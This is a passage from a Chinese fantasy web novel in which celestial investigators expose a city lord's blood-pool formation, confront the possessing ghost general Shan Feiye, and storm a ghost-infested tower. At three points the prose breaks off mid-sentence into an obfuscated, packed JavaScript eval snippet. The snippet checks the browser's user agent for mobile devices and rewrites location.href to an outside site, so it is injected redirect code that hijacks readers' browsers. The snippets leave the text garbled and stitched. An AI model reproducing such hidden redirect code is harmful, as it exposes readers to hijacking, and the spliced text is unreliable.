冷山月道:“可是因为死尸的缘故?” 妇女愣了一下,抬起头来,睁大眼睛看了她们一眼,似乎对她们的提问很意外。她摇头道:“什么死尸?我说的不太平是指那儿。” 她指着街道尽头那灯火阑珊之处,目光在看向那建筑时有一瞬的闪烁,似乎极其忌惮。不过她很快调整过来,面露凶光,暗暗攥紧了拳头。她咬牙切齿说:“那是城主府,姑娘要是没事,可千万不要靠近那里,会死人的!” 花不杀随她视线望了望城主府,通明灯火下果然深藏隐秘,与她预判一致。她追问:“城主杀人么?” “倒没人亲眼所见,只是传言府中有吃人的鬼啊!阿樱原本也是府中的侍婢,因为看见了不该看见的东西,被城主打了个半死,扔出了府外,自那以后,阿樱就病了……”妇女忍不住抽泣起来,话都哽在喉头,说不出来。 冷山月道:“可有人见过那鬼?” 妇女摇头,叹了口气。“见倒是没人见过,只是传说那只鬼专吃人的魂魄!这些日子,城中每天夜里都有数百乃至上千人昏迷不醒,便是被食了魂啊!” 冷山月瞳孔一惊,随即追问:“数千人?他们被食魂之后可有何症状?只是昏迷不醒么?” “症状……”妇女思索片刻,眼珠子转了转,忽的想起了什么,抬头惊恐看着她们,“对了,被食魂之人常常梦呓,胡乱说些听不懂的话。有时候说上一整天,有时候也会安静一整天。他们心口的位置都有一颗红痣,正是被食魂之后留下的印记。 他们都是在睡梦中被食魂的,所以没人看见过那鬼,等他们被发现的时候,已经满脸苍白,仅靠着一口气吊着了。被食魂的都是男子,有人说是女鬼吸食男子精魂,要化为一方厉鬼呀!” 阿契看着花不杀道:“大娘所说或许真有其事,我看见城中四处飘散着鬼气,比城外浓了不少,若不是那鬼多日来宿在城中,绝不至于如此浓烈。” 花不杀沉默片刻,将思绪梳理一遍,有些疑惑,“我倒听闻过一些厉鬼食魂的案件,只是还没听说哪个人被食魂还能活着的。梦呓、红痣、整日昏睡,倒像是中了某种术法的模样,其间另有文章也说不定。” “姑娘啊,你倒是真大胆。近日平山城不太平,又是食魂,又是地动的,多灾多难,姑娘好自为之吧。”妇女长叹口气,好言告诫一番,搀着阿樱往家走去。 冷山月忙着追问:“什么地动?” 妇女回头道:“平山城城外多山,近几日突然发生地动,一天一个方向,大家都说是这厉鬼给闹的。你没事啊,也别去城外了。深更半夜,外边危险,快回家去吧。” 说完,转身入了小巷。 …… 头顶伞阵悬浮,满天灯火熠熠,将府内映照得宛若白昼。 虽已夜深,然城主府主殿的殿门却打开着,殿前一红衣男子与一蓝衣女子面对面站立。 那红衣男子侧着身,一身长袍拖在地上,披散着露出胸前一片雪白的肌肤。他身形颀长,强健的体魄在衣下依稀可见。 蓝衣女子直立于他对面,怔怔看了他半晌,眼含水光。 “既然走了,还回来做什么?”红衣男子面若冰霜,语调冰冷。 “我已有了新欢,你不是亲眼所见么?却还没死心?世上怎会有你这般傻的人,我和她都睡在一起了,你却还心存幻想么?”他轻嗤一声,露出一丝嘲笑。 他身量高她半头,逆光站立,阴影罩在她肩头,让这声嘲笑显得更压抑。 他继续道:“言笙,你我不会有结果的,从前种种只是一时兴起,而你却当了真。你知道我对一件东西不会依恋太久,对你也一样。我累了,这一年就当是做了一场梦。两相忘却,再见不识罢了。” 蓝衣女子捂着胸口,有些喘不上气,“凭什么你说不要就不要了?一年的光景如此轻易就可以不作数了么?” “不爱了就是不爱了!”红衣男子侧过身去不再看她。 女子突然笑了,手中寒芒一闪,一柄剑直刺入自己心口。 “不爱了,那么我死了你也不会心疼了吧?” 她幻想他动容,却只看见他神情比寒川还要冰冷,眼底竟一丝波澜都没有。 她明白了,双手抽.出没过血肉的长剑,丢在他脚下。她转过身去,穿过长廊,潜入夜色。 男子呆滞了片刻,目光跟随她的背影顿在那处。片刻之后,眼前突生混沌,手脚一软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626605|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坠向地面。他蜷着身子,卧在冰凉的青砖上,止不住冷颤起来。 也不知过了多久,他才爬起,走进殿中。他绕到正座后头,不知按了什么,一间密室便出现在眼前,他低头走了进去。 不知踩过多少石阶,狭长的暗道骤然开阔。 岩壁上嵌着一排烛台,火光将空间照得透亮,就连地面的青石板都泛起深红色的荧光。 不对,那不是荧光。仔细一看,那东西原是附着在青石板上的,粘稠腥臭,竟是血液!他头也不低,看也未看,似乎习以为常,踩着血液便往更深处走去。 没多久,他停了下来。密室到这里便没了路,空间比上之前又开阔许多,足有两座大殿的高深,宛若一个巨大洞厅。 岩壁上的烛火将这里的每一个角落都照亮了。他站的位置位于空间的正中心,脚边是一个一丈见方的池子。他蹲下身来,伸手在池子里搅了搅,连带着那红色液体抽出手来。似有些嫌恶,他甩了甩手,那红色液体便滑落得干干净净。 “事情办得如何了?” 他的声音回荡在空间里,明明四周都是岩壁,不见一人,却有一个声音在回应着他:“大人吩咐的事属下皆已办妥,现在便可开阵。” 那声音刚落,一侧的岩壁忽的闪烁着青光,接着便有一个人影从岩壁里钻了出来,正是那青衣男子。 红衣男子点了点头,沉声道:“那便开始吧。” 青衣得令,转身面向岩壁。只见他双手一挥,四面岩壁突生裂纹,接着便开始一片一片脱落,没多久露出岩壁后的真容。那后面藏着的原是另一个巨大空间,比之脚下,又大了数倍有余。而里面藏着的却是一眼看不完全的人影,密密麻麻的人头,得有数百甚至上千! “杀了吧。”红衣人没有半点迟疑。 青衣呆滞片刻,眉头微皱,“大人可决定了?” 红衣人淡淡道:“听命便是,若真有什么报应,这杀孽我一人承担便是。” 青衣目光一沉,终于还是咬牙应下。他转身面向岩壁里林立的凡人,手一拂,身前的长剑便幻化成数百支指头粗细的长针。他再结印,长针列成阵形,犹如密密麻麻的雨点,铺开在他们面前。 青衣手再一指,那长针便如雨下,迅疾如电,每一支都对准一颗人头,径直击去! 却在长针离头顶只余分毫距离之际,凭空出现一道剑阵,数百道长剑的虚影齐出,一一对应,将那长针全部击断。 “原也是个杀人不眨眼的!差点错信了你的鬼话!” 长剑开道,花不杀一行穿风而至,眨眼杀到跟前,照着那两个人影便是一劈。 青衣握回长剑,闪身上前迎击。但毕竟出于慌乱,且有伤在身,花不杀和冷山月劈斩的力度又极大,于是三剑刚刚交锋,青衣就被撞击爆发的力量弹开了去,撞在地上,重伤不起。冷山月紧随而去,将他踩在脚下,阿契上前,以光芒化作绳索,一一将青衣人的手脚捆绑起来。 花不杀落在红衣男子身前,手握栖谲,正面对峙。“城主连漪,你原来也是炼尸人!我还道你是身不由己,误信了青衣说辞,以为有恶人附身,借你之手杀人,却没曾想你也是个心狠手辣的,手下杀孽无数! 杀了他们,你又要做什么?填补被斩杀的尸体的空缺,继续完成大阵么?青衣说是镇压邪祟,可现在看来,那阵法必有问题!” “你跟踪我?” 连漪双眼泛红,眼眶里血丝密布。他周身无端卷起烈烈寒风,袭向她身,显是起了杀意。 “一而再再而三地破坏我的大事,看来只有将你杀了,我的计划才能继续!我不知你是谁,也不知我们之间有何仇怨,但若你执意坏我大事,不管你是正是邪,是何身份,今日都该死!” 20. 真相 话音方落,他手中已凝聚一团耀眼寒芒,幻成一柄长剑,暗暗蓄力。他的眼神一瞬阴冷,周身阴风习习,沉沉道:“既来之,则葬之!” 寒剑一闪,流光化作巨大圆弧劈向花不杀周身。她反应也快,顺势一道剑芒迎击而来。下一秒光芒一炸,两股力量顷刻释放,让洞厅也为之一震。 只是接下去的一切出乎意料,他的招式看似骇人,却实则是个虚招!花不杀随意的一击竟已叫他无力回挡,若非及时屏护,也要呕血重伤,如青衣一般。 “果真只有这点实力?杀人炼尸之时也未见你有半分心慈,何必伪装?”花不杀主动追击,当即飞跃至他头顶,重重斩下一剑。 可这回,他却没有力量防护。力量穿透身躯,他即刻被震慑出去,紧扣在岩壁上。直到力量消尽,口吐鲜血,才让他喘上口气。 “拿出你的实力来,能做杀人练尸的买卖,怎么可能只有这点能耐?你最好认真点,不然可会死无全尸!” 连漪好不容易站稳,捂着被力量震伤的胸口,兀自笑了声,“我何曾说过我是那炼尸人?你又如何断定是我杀人炼尸?杀人就一定是在害人么?你可知他们若不死,今夜一过,平山城的所有人就都得死!他们本都是些该死的囚犯,区区凡躯而已,死了数千,可救数万,我这是在救平山城!你执意如此,便是与我平山城为敌,究竟是何居心!” 花不杀心觉好笑,“你说这话自己信吗?杀人练尸设下傀儡阵,你跟我说是在救人,救的哪门子人?这话就算三岁孩童都不会信,诓人也选个好点的谎话!” “哪是什么傀儡阵,那是七眼阴杀阵!”连漪终于大吼出来,赤瞳狠狠瞪着,眼角通红。 “大人还跟她费什么话,杀了便是!”青衣作势要从冷山月脚下挣脱,却被她用力一踩,直至口吐鲜血。阿契再迅速出手将他颈后一击,叫他彻底昏死过去。 冷山月飞身靠近,看着连漪发狠的样子,有些好奇,“七眼阴杀阵是何阵?” 连漪被她们堵在角落,自知难逃一死,不甘瞪着她们。 “七眼阴杀阵,一眼便对应一个‘杀位’。以阴尸为引,血池为媒,将阴尸置于血池,镇于山下,便成一眼。 此阵需得布上七眼,按照‘七杀位’布成一个包围圈,而在这七眼正中心,还需布上一‘主杀位’。主杀位即为阵眼,一经布成,则此阵大成。 布阵者引自身血入主杀位,便可操控七眼,实行联合封印。阵法若成,除了被镇压在血池中的阴尸,就连方圆数十里藏在地下的阴尸也会被镇压。阴尸百世不得出,非阶品极高之仙鬼,不可破阵!” “眼前这血池便是主杀位,先前你们斩杀的阴尸,便是封印在七眼的最后一眼中。明明只需引血入山谷,第七眼便成,可偏偏那阴尸叫你们斩尽杀绝,是故阵法全毁! 现今之计唯有将他们杀了,制成阴尸,填补空缺,第七眼方可成。否则今夜一过,魇尸大成,无人能治,将是全城涂炭!” 冷山月道:“为救人而杀人,这便是你的苦衷?只是我不解,魇尸既然由凡尸制成,灵力该是不强,军队镇压便可,何须筑此凶阵?你就能保证此阵可行,不会多生变数?你既为城主,手下该是有一支驻城军的,又何必绕个大弯,平添杀戮?我看这只是你编出来诓我们的谎话罢了!” 连漪苦笑一声:“你怀疑我?如若调来军队,自然可成,可数日前,平山城驻军全被杀光,你要我如何再去变来军队?驻军全军被杀,这是死罪!就算我是城主,与这事毫无干系,仙律难道就会饶我一死么?这可是株连亲族之大罪! 宁可杀千人也不愿被株连,你或许觉得我自私吧?确实如此,我有私心,我做这一切只为免一人之死。我做城主七百余年,不说有功,但也勤恳,任我自私一回,又何妨?” 冷山月有些不可理喻地摇了摇头,“无稽之谈!即便如此,魇尸之难过后,仙君就不会追究你的罪责吗?株连之罪必不可免!” “但我至少可以撑过魇尸之难!到时救了平城,我就是英雄,我就是全城人的再生父母!他们难道不会感激涕零?数万人联名上书为我作保,仙君不会动容吗?就算他铁石心肠,但若他们以命为筹码为我发声,数万无辜城民作陪,他可下不了斩刀!这是能救她的唯一办法。”连漪突然发笑,如厉鬼讪笑那般骇人。 花不杀道:“你这是在赌!” 连漪笑道:“对啊,这就是赌!赌注就是我在乎之人的性命,筹码便是平山城万人的性命,这样至少还有赢面,事到如今,我也只能赌!” 花不杀道:“横遭罪祸自然无辜,但伤人性命罪大恶极,仙律不会放过你,此事过后你必须死,但我可以求情,保下你所在意之人,你可愿信我?”花不杀亮出镜司令牌,“我乃天镜司巡按,受命查清平山城杀人案,代行镜司职权,自能调来军队,你若信我,不可再杀人。此阵少闻,凶煞非常,以你个人的力量,未必不出差错。我若助你,可愿将来龙去脉告知于我?” “你真的会替我求情,保下她么?”连漪不可置信看着她,目光中燃起一丝希望。 花不杀道:“我说话算话,你只能相信我。更何况藏匿于你体内的罪魁祸首,也不会让你得逞毁了他辛苦炼制的阴尸,你别无选择。” “原来你都知道了……”连漪呆站在原地。 花不杀道:“我有过怀疑,但你的话证实了我的猜测,你确实被附身了。我先前见到阿樱了,你可还记得她?” 连漪道:“府上侍婢,自然记得。” “她可曾来过这?” 连漪回想一番,道:“数日前误闯过一次。” “难怪她见到我时便喊‘好多血’,想来是见了血池。可她接着又说‘有鬼’,这鬼说的可是你体内那人?” “是。” “那人是谁?” “鬼阴将军山飞夜!” 此话一出,所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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连漪缓缓道:“山飞夜接近我,一直都藏着阴谋。他利用我的身份,诓得西域域君将通界令牌借与他。他用令牌破了凡界与仙界的结界,潜入凡间,抓了牢中囚犯,又活生生将他们杀害。 其间,我曾清醒过几次,妄图将他从身体里逼走,可他修为太高,我做不到,于是只能尽力弥补过错。可每次我要动手了,他却总是及时苏醒阻止。他抓人炼尸的事我明明知道,可我却什么也做不了。” 鲜活的生命在“自己”手里变作一具具冰冷的尸体,他不是不想救,可他连救自己都做不到。他曾好几次想过要通过结束自己的生命来结束这一切,可每次他要下手,他总是及时醒来阻止,他连死都做不到。 花不杀道:“你可知他为何杀人炼尸?” “不知。但我记得有一天夜里有人来寻过他,听声音,是个男子,山飞夜似听命于人,可我没听清他们的对话。” 花不杀原地踱了几步,“如此说来,山飞夜也可能只是个刽子手,真正的主谋或许是他效命的鬼君殿下了。” 她想起山飞夜惯爱说的话,喃喃道:“果真是场好戏!” 21. 鬼塔 听他一番陈述,花不杀大致将事件始末理清楚了,只是此案尚存疑点,她的注意力又回到阵法上。 “阿樱见到的血是血池,鬼是山飞夜,因你设下七眼阴杀阵,城中地动便是因为开山的缘故,七眼方位不同,所以才会一天一个方向。现在血、鬼、地动都有了解释,可是食魂又是怎么回事?他们胸口的红痣还有梦呓可是因为下了术法的缘故?” 连漪道:“七眼阴杀阵用于镇压邪祟,然阵法本身凶煞,需筑七方血池。而这血的来源便是壮年男子的心头血,那心口的红痣便是取血留下的印记。血池需血量极大,故一个血池便需千人之血筑之。血池筑成之后,献血者陷入昏迷,七天七夜,以心头血之灵力牵制阵法。” “你说的梦呓,便是他们在默念术法牵制阴尸。此阵需得一人对应一具阴尸,如此一一相对,方能将它们全部封印。是故城内才会有数千人昏迷不醒。此阵大成,献血者方可醒,而他们便成了活体封印。他们之中每死一人,便有一具阴尸解除封印,故此阵法需得时时更换献血者,方能延续。” 冷山月道:“阵成人醒?若是中断会如何?” “若是中途有人破阵,献血者即刻丧失灵识,百世昏迷,直至湮灭。” “所以现在他们……” “如同身死。” 花不杀和冷山月像突然被人用力砸了一拳,胸口闷得很,说不上是什么滋味。 “不过还有一线生机。” 冷山月双眸一亮:“是什么?” 连漪道:“杀了山飞夜,魇尸之难自解,他们便能苏醒。” 冷山月好不容易提起的气,顿时又泄了下去,“山飞夜修为颇高,凭我们几个要杀他,怕是难如登天。” 阿契也道:“是啊,他并非寻常鬼族,力量强大,我看不穿他的实力,也找不到他的弱点,我们几个加起来也难有胜算,这太难了。” 连漪道:“不是杀他魂魄,而是毁他肉身。附身术必须灵肉分离,他的灵魂在我的体内,你们只要找到他的躯体,用索引之术将他的灵魂召回封印,再将他杀死,便成。” 花不杀道:“他的身体在哪儿?” 连漪道:“平城河西有座璃香塔,塔下有个巨大洞窟,他的身体就藏在洞内。” 冷山月问:“以索引之术将他诛杀,胜算可高?” “以你二人之力,自然不高。若是我没受伤,还可助你们一臂之力,只是我……已命不久矣,帮不了你们了。” 花不杀道:“为何?你的伤不会致命才是。” 连漪摇头苦笑,“与伤无关,原本我便已中剧毒,山飞夜之毒,不可解,我也只是强撑罢了。今日伤重之后,毒便再压制不住,原本还可再撑十天半个月的,现在……怕是撑不过明日了吧……” 阿契心生愧疚,低声道:“对不住,若不是我们伤你,你能多活几日的……” 花不杀道:“你知道自己命不长久,所以不顾一切布下此局,杀人筑阵,铤而走险,只是为了给妻子谋个脱罪的希望,你固然可恨,但也可悲。你放心,答应你的事我会做到,待明日事毕,我会为她求情,澄清来龙去脉,护她一命。” 连漪跪在地上,向花不杀行了个叩拜之礼,“多谢大人成全。” 冷山月和阿契上前搀扶,连漪却神情一变,突然皱紧双眉,面容一瞬间狰狞起来,脸色苍白许多。 他挣开他们,疼得在地上翻滚,尽力维持着理智,“他、他要来了……快走……记得千万杀了他……” 话音刚落,只片刻,他的眸子又变成鲜红的颜色,周身气场骤变,冷冷的杀气盈斥周遭。 他忽的一笑:“大人,又见面了。” 冷山月脸色一沉,道:“山飞夜,你别装了,你干的破事我都知晓了!放了死魂不够,你还干起杀人的买卖来了,传闻中那杀人炼尸的红衣鬼影果然是你!你却故意隐瞒,叫我们深陷迷局,至此时才知真相,瞒得我们好苦!” 山飞夜却笑,“我本来还想着隐瞒身份同你们玩玩,却都怪他嘴快,坏了我的好事。也罢,既然知道我是谁了,那我也就不故弄玄虚,打开天窗说说亮话罢。 没错,这一切都是我做的。从一开始我便将连漪设计,利用他的身份借来通界令牌,又将人间牢狱中的囚犯抓来,于城外杀了炼尸。 红衣降世,必生灾殃,我之威名远慑,天下还没有人敢冒充我的身份。我只稍稍使了些小计,你们便晕头转向,着实有趣。” 花不杀道:“你既承认,那便要将私开鬼门与杀人炼尸两件事一起清算。仙君掌天下生杀大权,你犯了他的律令,就算是鬼君座下的四将之一,也得抓来问罪,他亦不敢阻拦。你若识相,同我回仙都请罪,但你若要反抗,执意不肯归案,便再没有半分活路!” 冷山月手中的白罹剑寒光陡盛,杀气外溢,“大人还同他费什么话,依他鬼性,自然不肯受罪,就地诛杀了便是!” 山飞夜看了冷山月一眼,轻轻而笑,“姑娘已如此了解我了么?上回同你说的事可想好了?我那八人抬的轿子可预备多时了。姑娘便一袭红衣与我成了好事,可好?” 冷山月啐他一口,“要打便打!别以为你臭名远播我便会怕了你,你尽管试试!” 下一瞬,利剑出鞘,寒光普照,一道圆弧极速劈去,直击山飞夜的心口。他却逆光而来,直破剑锋,穿过光芒骤现在她眼前。他顺势击落她的佩剑,以术法禁锢他们三人的身躯,犹如被封印在原地。 山飞夜靠近说:“我可以等,等你接纳我的那天。” 他留下一抹深笑,随后隐去了身形。 …… 夜色笼罩,璃香塔内青灯燎然。塔内传出一阵乐声,夹杂着欢声笑语。 三人落在塔顶,花不杀用术法在塔顶开了个缺口,一跃进入塔内。 他们落在一条环形长廊上,一旁的木栏杆上插满了蜡烛,另一侧则是数十间屋子环绕着长廊排列。塔内上下七层,合该有百间屋子。这哪是什么石塔,分明是进了一座围楼。 穹顶上十余柄红伞倒挂,里面的液体满则溢出,垂成一条条血柱,注入下方的池子中。血池周围百只小鬼,或弹琴奏乐,或搂着女子作乐,或聚在一起分食活人。血水漫了一地,腥臭至极。 小鬼面相可怖,或是青面獠牙,或是白皮血脸,长得当真不友善。 花不杀探清形势,旋身一跃飞上穹顶,一脚一个将那些红伞全部踢落。血液随之倾倒,直接泼在那群小鬼身上,逐个染红。 “谁啊!”群鬼中间一只白面鬼大吼着。 花不杀落在他的面前,看他皮肤白得像纸,嘴里还嚼着一块生肉,满脸血污,冷声道:“你姑奶奶。” “是你。”白面鬼看清来人,脸色阴郁下来。白面鬼便是白无伤,先前占领洞窟之后,他抓了些仙民来,邀小鬼共享血肉盛宴。兴致正酣时,花不杀从天而降,着实败兴。 白无伤悻悻道:“大人好快的手脚,不久前才在忘川河一见,现下又来我的地盘,你果然阴魂不散呐。” 花不杀道:“原来是你,操纵西关城一案的主使!你鬼界众鬼齐出,四处犯案,乱我仙界,你那鬼君殿下到底意欲何为?你必须给个交代!” 白无伤亮剑欲战。 “大人息怒,看我的!”一小鬼自告奋勇,提着柄半丈长的大刀,抡圆了劈斩而来。花不杀看也未看,栖谲一出,直震碎了刀柄,那鬼立刻身首异处。 冷山月上前道:“白面鬼,你就是他们的头儿?瞧你也没多厉害,也敢四处作乱,找死!” 白无伤还没开口,后面一青面鬼跳出来吼道:“这是我们鬼界的白副将,很快就是白将军了,你算个什么东西,竟敢侮辱大人!” 阿契笑道:“白皮的就叫白将军,那黑皮的岂不是要叫黑将军了?我看你是青皮,以后就是青将军吧?哈哈哈。” “我看你们是活腻了!”白无伤脸色一沉,大手一挥,手中剑飞射出去。 冷山月一步跃起,在空中翻了个身,稳稳踩在剑头,“你也不过如此。” 白面鬼扯动嘴角,露出一丝嘲笑,“是吗?你看清楚了。” 脚下的剑身突然颤动起来,猛地翻身向她刺去。剑光陡然间大耀,灵力激涨数倍。 冷山月一时失防,被动还击,几招之后还未分胜负。栖谲趁势寻机,飞去将那剑击落。 众小鬼围了上来,将冷山月和阿契包围,白面鬼收回佩剑,专攻花不杀。 白面鬼一跃弹起数丈,双手持剑,在空中划满一道圆弧,瞬间风起石飞,夹带着一股恶臭腥风扑面而来。 花不杀接下他这一击,剑刃相击处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一边是数量繁多的花瓣,一边是花不杀劈下的长剑,纵使他力气再大,兼顾两边也十分吃力。果然,不出一刻,他的剑开始不稳。 “花不杀,你敢阴我,看我怎么收拾你!” 白面鬼双手护在胸前加强结界。可是如今大势已去,根本无法抵挡,山飞夜的法器虽落入他手中,但他尚不通其中法门,也施展不了,只能被花瓣逼着往后退去。 他欲拼死一搏,可栖谲趁势刺去,再度施压,在多方力量的压制下,他竟任何动作都施展不开了。 结界很快支撑不住,待其一破,花瓣迅速逼近,刀刃一般从他身躯中穿出,血洒如雨。花不杀手起剑落,再将栖谲刺进他的心脏。 只听他哀嚎一声,倒在地上,化作一团白烟,销声匿迹。 冷山月和阿契也将小鬼收拾干净,赶往她身旁。 花不杀身躯腾空而起,念咒引燃栖谲剑,剑身周围突盛光芒。而后她握剑俯刺而下,犹如一颗流星砸向地面,将栖谲剑深深嵌进塔底。 一股力量向地下蔓延开来。只见地面突然裂开一条巨大的缝,以极快的速度向塔的两侧生长。塔身突然分裂成两半,分秒之间分离、崩落,化成碎渣。 待尘埃落定,塔下的洞窟暴露出来。 花不杀施了个火咒,变幻出几个火团,将洞窟照亮。三人沿着洞窟内的通道,搜寻山飞夜存放的身体。 走了约小半刻,眼前赫然出现一间密室,四四方方的空间里,只墙角处放着一张石床,床上躺着一个男子。 密室一旁有道小门,里面是个更小的空间,十几个年轻男女被绳索捆绑,关押在此处,他们是小鬼储存的食物。他们看见来人,目光惊惧,缩在一角,身躯不住地轻颤着。 冷山月道:“你们莫怕,害人的小鬼已被我们斩杀,你们没事了,我救你们出去,快回家去吧。” 她砍断绳索,替他们松了绑。他们哭着道了谢,如飞箭冲出了密室。只有一个人呆呆站在原地,没有说话,没有走动。 花不杀看了她一眼,发觉她的面容有些熟悉,仔细回想,像是言笙。 先前潜入城主府,正看见他二人在殿前争执,故留意了一番。只是夜里不易辨认容貌,看不真切,但她胸口剑伤的伤痕,确与言笙一致。 花不杀道:“你是言笙?” 那人睁大了双眼。 22. 危局 听见花不杀发问,那人一惊,像是被突然定住,目光直直看着她。 “你们是谁,为何知道我?” 花不杀道:“我乃天镜司巡按花不杀,奉命调查平山城杀人案,今日得到线索,来平山城找城主涟漪,恰巧看见你与他在殿外争执,故识得你,没想到你也被抓来了。” 言笙苦笑几声,眼眸死寂,没有半点生机:“你们是怎么找到这儿的?查案?” 冷山月道:“我们是为了鬼阴将军山飞夜而来,平山城杀人案便是他一手策划的,此番闯塔,便是要将他诛杀。言笙姑娘,不久前你才从城主府离开,怎么现在却被关在这密室里?” 言笙轻叹一声,“离开城主府,心中烦闷,便来到河西长街。本想借酒浇愁,却不小心醉了,醒来时,我已在这密室里。那些小鬼掳掠城中仙民,啖血食肉,我也是他们的食物。” 花不杀道:“原是如此。言笙,有件事有必要让你知道。” “何事?” “是关于连漪的。” 听见这个名字,她的眼神呆滞了一瞬,而后避开视线,冷漠道:“他的一切已与我无关。” 花不杀道:“你只知道他伤害了你,可是他为什么伤害你,你却不知。” “为什么?”言笙发笑,眼中酸涩,“无非是对我没了兴趣,喜欢上了别人。我错付了真心,若是他让你们来的,那便不必多言,此生我与他再无瓜葛。” 阿契道:“言笙姐姐,事情不是你想得那样,连城主也有苦衷,也是不得已而为之。” “苦衷?不得已?他能有什么苦衷,他一心只想着寻欢作乐,早就变心了。” 冷山月道:“他要死了!” 言笙的表情僵了僵,可随即轻笑了一声,“他是城主,府上名医众多,就算是受了重伤、中了剧毒,救回来也不是什么难事,他能有什么事?是不是他让你们这样说的,以为我还会在乎他?” 冷山月忍不住上前,解释道:“若是山飞夜的毒呢?山飞夜心狠手辣,他的毒岂是一般医仙能解的?连漪确实要死了,他活不过今晚。你只知道他伤害了你,可是他的心痛并不比你少。他之所以性情大变,出言伤你,是因为他被山飞夜附了身,身不由己! 你只看见连漪与女子同塌而眠,可一切都是山飞夜的阴谋,那女子是他假扮的,目的就是离间你们二人。山飞夜占据他的身体,莫说自由,就连自尽他都做不到。他早已身中剧毒,今日伤重,便催发了那毒,他或许已经撑不到明日清晨。他之所以伤害你,是因为他知道自己什么都做不了,只有让你恨他,你才不会那么伤心。” 言笙一下子没了支撑,倒在地上,似是失了魂魄,喃喃道:“不会的,不会的,今日见他的时候都好好的,怎么会要死了,一定是骗我的,对不对?” 言笙抬头看着花不杀,又看着冷山月。她原本还抱有一丝希望,可看她们眼神坚定,那点幻想随即破灭了。 言笙哭道:“他所承受的分明不是他一个人能够承受的,可他从来没想过要告诉我。他从来就不知道我有多爱他,他从不信我。” 花不杀在她身前蹲下,温声宽慰:“言笙,事已至此,伤怀无用。当务之急是要召回山飞夜的魂魄,将他杀死。你与连漪还有几个时辰,我也只能帮你到这儿了。” 花不杀摊开手掌,手心升起一团灵光,对准她的伤口轻轻扫过,剑伤慢慢愈合,皮肉生长,恢复原样。 言笙慢慢站起,哽咽道:“我与他就只有几个时辰了么?”她转头看着石床上的山飞夜,眼神第一次充满敌意。 她突然大步上前,手中握着一把长剑,对准他的心脏狠狠刺去。眼看剑要落在他的身上,却被突然出现的光屏弹开。 言笙被弹开几步,摔在地上,爬起来又要刺去,依旧被光屏弹开。 她绝望了,哭喊着:“你为什么要出现?要不是你,连漪不会死!” 她发了疯般吼叫着,举起剑又要刺去,可刚刚站起,又倒在地上。喉头涌上一股腥甜,吐出一口鲜血。 冷山月和阿契上前将她扶起。冷山月道:“言笙姑娘,山飞夜法力高深,光屏非你一人之力能够破解,你且退到一边,我们试试。” 花不杀走到石床前,手指一挥,栖谲凭空出现。冷山月和阿契站在花不杀身后,手掌聚力拍在她的肩上,力量通过手臂传至她掌心。 花不杀将力量汇在一处,再摊开手将其朝着剑柄发出,幽幽紫光瞬间盛放,剑身颤抖着,发出刺耳的摩擦声。 栖谲和光屏僵持一阵,突然随着一声清脆的爆裂声,眼前光芒绽放。待光消散,光屏已碎,石床碎成大大小小的渣子。 花不杀收了栖谲,在山飞夜身前蹲下,将他的手腕抬起,割开一个口子。她用手接住血液,念了个术语,原本粘稠流动的血液瞬间化成一颗指头大小的珠子。 她盘腿而坐,掌心拖着珠子,闭上眼,嘴里念着什么,珠子突然大放红光,慢慢飘起。她手中生出一团蓝烟,一团紫烟,慢慢聚在一起,汇入珠子中,血珠突然变成银白色。她再伸手触上那珠子,可忽然间,珠子却碎裂成了几块。 “大人,你我分别不过一炷香时间,你就这么想见我?”山飞夜突然出现在身后。 言笙见到连漪的身躯,冲上前去,却被山飞夜拂手击飞,她当即明白过来他不是连漪。 言笙咬牙道:“山飞夜,何仇和怨,你要毁了连漪?你将他还来,滚出他的身体!” 山飞夜道:“杀人、炼尸,这具身体帮了我的大忙,不过现在魇尸将成,这具身体对我已经无用,你们要,就还给你们好了。” 说着他闭上眼,魂魄离体,归入原身。碎渣中山飞夜缓缓站起,银白面具遮住他大半张脸,只露出白如纸片的皮肤。 他刚站起,花不杀手握栖谲刺去。他手下出现一柄长剑,横在胸前,将其拦下。 冷山月和阿契正要上前,山飞夜无端幻出一阵风,将他们逼退回原位。他趁乱来到冷山月周围,释放一阵香气将其迷晕,而后将冷山月横抱起。 “大人,我与山月还有话叙,向你借她一用。你放心,用不了多久,她会好好的回来。” 音落,一道红光闪去,他的身影遁迹无踪。 “该死!” 花不杀和阿契立刻追了出去。 刚飞出璃香塔没多久,眼前出现一片光亮,远远的便听见有人叫喊。 花不杀俯视地面,发现下方街道上突然出现一大群尸体。张牙舞爪,遇房便拆,抓人便咬。一群人握着火把想把它们逼退,可是那些尸体不惧火光,依旧前进。人群慌乱地拥堵在一起,场面十分混乱。 花不杀飞身落在尸群中间,栖谲飞出,在尸群中穿梭,眨眼间将身旁的数十具尸体拦腰斩断。但尸群很快又涌了过来,将她团团围住。 花不杀飞回空中,嘴里念着咒语,栖谲便在她身前来回飞舞。她再双手一指,栖谲直直刺向地面,深深嵌进地里。与此同时一大片紫光顺着地面蔓延开来,形成一个光圈。 光圈迅速生长,一会儿功夫就将整个平山城笼罩起来,凡是碰到它的尸体瞬间化成齑粉。 花不杀合掌,念咒加强光圈上的结界。确定城民已经安全,重新往山飞夜消失的方向追去。 …… 